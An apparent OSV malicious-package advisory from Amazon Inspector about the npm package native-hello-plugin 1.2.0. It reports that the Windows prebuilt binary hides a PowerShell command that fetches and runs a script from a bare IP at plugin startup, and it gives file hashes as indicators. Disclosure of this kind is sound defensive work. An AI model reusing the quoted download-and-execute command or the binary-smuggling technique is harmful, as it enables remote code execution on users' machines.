native-hello-plugin

{"modified":"2026-08-05T15:50:58Z","published":"2026-08-05T15:50:58Z","schema_version":"1.7.4","id":"MAL-2026-13350","summary":"Malicious code in native-hello-plugin (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a)\nThe shipped Windows-x64 prebuilt `hello.node` embeds a PowerShell command `powershell -Command \"iex (iwr 'http://89.124.113.217:8000/update.ps1'...)\"` and imports `system` from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported `sha256Hex` function is the visible cover; the JS wrapper's `register()` calls `native.sha256Hex(...)` at plugin startup (`activation.onStartup: true`), so loading the plugin on Windows fetches and executes an unpinned PowerShell script from a bare IP over plaintext HTTP, yielding arbitrary code execution on the host. The Linux-arm64 sibling `hello.node` contains only genuine SHA-256 symbols and no network strings, so the malicious behavior was smuggled into the Windows binary while leaving the wrapper and Linux prebuilt clean.\n","affected":[{"package":{"ecosystem":"npm","name":"native-hello-plugin"},"versions":["1.2.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"native/prebuilds/win32-x64/hello.node","sha256":"45cc20bb6d0f21fa28e430a72ebb3b0ace3311b13e43a3f35bc09c5826537a69","tlsh":"bb720b0f2ad7e8bdc586e57440fa973af5b074111aa06e2d43bccbb55d207d09739914"}],"package_integrity":[{"filename":"native-hello-plugin-1.2.0.tgz","hashes":{"sha1":"914acad3b3aa556f17b765447076f8c8fb42dbf4","sha512_sri":"sha512-4dltOeIDQMLIfRTtvzTed2fKwQdY2Td1LZdQUJmyLMRpuHJfF+W7xysAWZje4CBZTp7VLvOnrg6b0b7ylU6DGQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/native-hello-plugin/v/1.2.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-015803","import_time":"2026-08-05T16:13:46.897413318Z","modified_time":"2026-08-05T15:50:58Z","sha256":"385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a","source":"amazon-inspector","versions":["1.2.0"]}]}}